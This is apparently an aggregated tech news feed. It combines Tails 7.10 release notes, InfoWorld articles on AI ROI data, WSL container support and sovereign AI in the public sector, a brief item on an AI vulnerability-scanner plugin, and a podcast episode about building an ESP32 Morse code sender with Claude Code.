Automatic upgrades are available from Tails 7.0 or later to 7.10.

If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.10 on a new USB stick
Follow our installation instructions.
The Persistent Storage on the USB stick will be lost if you install instead of
upgrading.
To download only
If you don't need installation or upgrade instructions, you can download Tails
7.10 directly:

For USB sticks (USB image)

For DVDs and virtual machines (ISO image)

Support and feedback
For support and feedback, visit the Support
section on the Tails website.

          tails

          releases

Remember Jibo? Its Successor Is a Wearable That Turns Your Life Into AI Slop
Thu, 23 Jul 2026 11:20:52 +0200
With “blessings” from the original Jibo founders, iKairos is a wearable or desk-mounted “AI journal” that turns your family moments into AI images and video.

Tails 7.10
Thu, 23 Jul 2026 11:07:50 +0200
New features

New shutdown procedure

Tails now uses the standard shutdown procedure from GNOME.

The standard shutdown procedure is a bit slower,
but better prevents data loss.

For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.

Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.

You can still use the faster emergency
shutdown as before.

Celluloid video player

We replaced GNOME Videos with Celluloid, a more modern and reliable video
player.

For added security, Celluloid cannot access the network. You can
either:

  Open online videos, like MP4 and AVI files, in Tor Browser.

Open online streaming addresses, like IPTV and HLS addresses, in
  VLC, installed as additional
  software.

Celluloid doesn't work on some computer from 2011 or earlier.

You can use VLC instead, installed as additional
software.

Changes and updates

Update Tor Browser to 15.0.19.
Update some firmware packages. This improves support for newer
hardware: graphics, Wi-Fi, and so on.

For more details, read our changelog.

Get Tails 7.10

To upgrade your Tails USB stick and keep your Persistent Storage

Automatic upgrades are available from Tails 7.0 or later to 7.10.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.

To install Tails 7.10 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.

To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.10 directly:

For USB sticks (USB image)
For DVDs and virtual machines (ISO image)

Determining the ROI of AI requires data that most companies lack
Thu, 23 Jul 2026 11:07:22 +0200

Leadership wants to scale AI. Budgets are tripling. Adoption is up.

Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?

Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.

Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.

But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.

AI providers won’t fix this problem

The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.

Not convinced? Compare what AWS gives you to what an AI provider gives you.

AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.

An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.

If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. 

Three required sources

Building AI ROI measurement requires three data sources, stitched together in a single model.

Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.

Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.

Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.

Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.

Why agentic AI makes this urgent

Single-call inference is the easy case. One request, one cost, one customer, one outcome.

Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.

If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.

When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.

What changes when the three sources come together

Once the three sources are stitched together, the AI investment conversation changes.

Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. 

Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.

The build trap

AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.

The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.

It is a trap. Three reasons.

Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.

The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.

The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.

The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.

The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

WSL container: A quiet revolution for Windows development
Thu, 23 Jul 2026 11:07:20 +0200

Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.

Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a VS Code Server in every container you’re building and testing. If you’re working with Kubernetes, that’s even more complexity that needs to be managed, dragging you away from code.

I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.

So, it was good to see Microsoft make several announcements around WSL at Build 2026 as part of a push to make Windows a developer platform again. The first, an improved WSL3, is still some way away, but the second, WSL-native container support, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.

Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.

Getting started with WSL container

WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter wsl --update --pre-release.

This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering wslc, which should list the available commands. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).

Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.

Calling Linux containers from Windows applications

Things get more interesting when you start to use the WSL container API from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.

The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided sample code to show you what’s possible at this early stage.

Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.

It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.

Manage Linux containers from Windows

If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the WSL Container Desktop, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the Windows App SDK installed, and some features require access to the Azure CLI.

WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.

Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.

Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.

Run Kubernetes inside Windows for cloud-native development

One of the more useful features of WSL Container Desktop is the ability to quickly stand up a K3s Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own Headlamp UI, making it easy to go between your development environment and a production Kubernetes cluster.

It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.

The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.

Sovereign AI has become the public-sector CIO’s control problem
Thu, 23 Jul 2026 11:05:58 +0200

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

Data control: Where sensitive public data sits, and whether it can train a vendor’s model.

Model control: Which models clear which workloads, and under what validation.

Infrastructure control: Whether critical workloads run in approved environments.

Operational control: Whether AI-assisted actions are logged, monitored and reversible.

Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

Can we classify AI workloads by public-service risk?

Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?

Can we restrict which models are approved for which data classes and functions?

Can we reconstruct an AI-assisted action in enough detail to explain it?

Can we change providers without losing continuity or institutional knowledge?

Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Anthropic Releases Claude Security Plugin for Claude Code in Beta: A Multi-Agent Vulnerability Scanner That Runs in Your Terminal
Thu, 23 Jul 2026 08:18:33 +0200
Anthropic has released the Claude Security plugin for Claude Code in beta. The plugin runs a multi-agent vulnerability scan of a repository from inside an existing Claude Code session, then turns the findings you select into patch files that you review and apply yourself. Anthropic emphasized the tool’s versatility upon announcement, highlighting its capability to […]
The post Anthropic Releases Claude Security Plugin for Claude Code in Beta: A Multi-Agent Vulnerability Scanner That Runs in Your Terminal appeared first on MarkTechPost.

HPR4689: Cheap Yellow Display Project Part 8: Writing the code
Thu, 23 Jul 2026 02:06:01 +0200
This show has been flagged as Clean by the host.

Hello, again. This is Trey.

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page

https://www.hackerpublicradio.org/correspondents/0394.html

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

"Hello, my name is Trey, and I am a fraud."

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

CYD Morse Sender — Step-by-Step Build Plan

What You Already Have

- 3 fully designed LVGL screens (Send, Config, Keyboard)

- 7 send buttons with green styling on the Send Screen

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

- Text area + LVGL keyboard widget on Keyboard Screen

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

---

Phase 1: Fix Touchscreen Input

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

Phase 2: Persistent Message Storage

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

Phase 3: Config Screen — Slot Selection & Speed

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

Phase 4: Keyboard Screen — Capture and Save Text

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

Phase 5: Morse Code Engine

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

Phase 6: Non-Blocking LED Transmission

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

Phase 7: Wire the Send Buttons

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

Phase 8: Integration & Polish

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

---

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 

https://hackerpublicradio.org/eps/hpr4532/index.html

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 

https://hackerpublicradio.org/eps/hpr4624/index.html

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

Claude took me through it step-by-step, asking as it needed to read specific project files.

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

Then I had a thought.  I prompted Claude:

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

It recommended changes, and then asked permission to make those changes, file by file.  .h files & .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

We repeated this several times.  Some resulted in improvement, and others did not.

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

Again, while it was frustrating, it was much less stressful.

We proceeded to 

Phase 2: Persistent Message Storage

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

Next, we combined elements of 

Phase 5: Morse Code Engine

, 

Phase 6: Non-Blocking LED Transmission

, and 

Phase 7: Wire the Send Buttons

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

Then, 

Phase 3: Config Screen — Slot Selection & Speed

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 

Phase 4: Keyboard Screen — Capture and Save Text

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

You can find all these files in my GitHub repo (

https://github.com/jttrey3/CYD_MorseSender

) where they are shared under a GPL 3.0 license.

There are still several additional steps I plan to complete in the next few months.  

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

I... make that "We" (Claude & I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

Until next time...

Provide feedback on this episode.

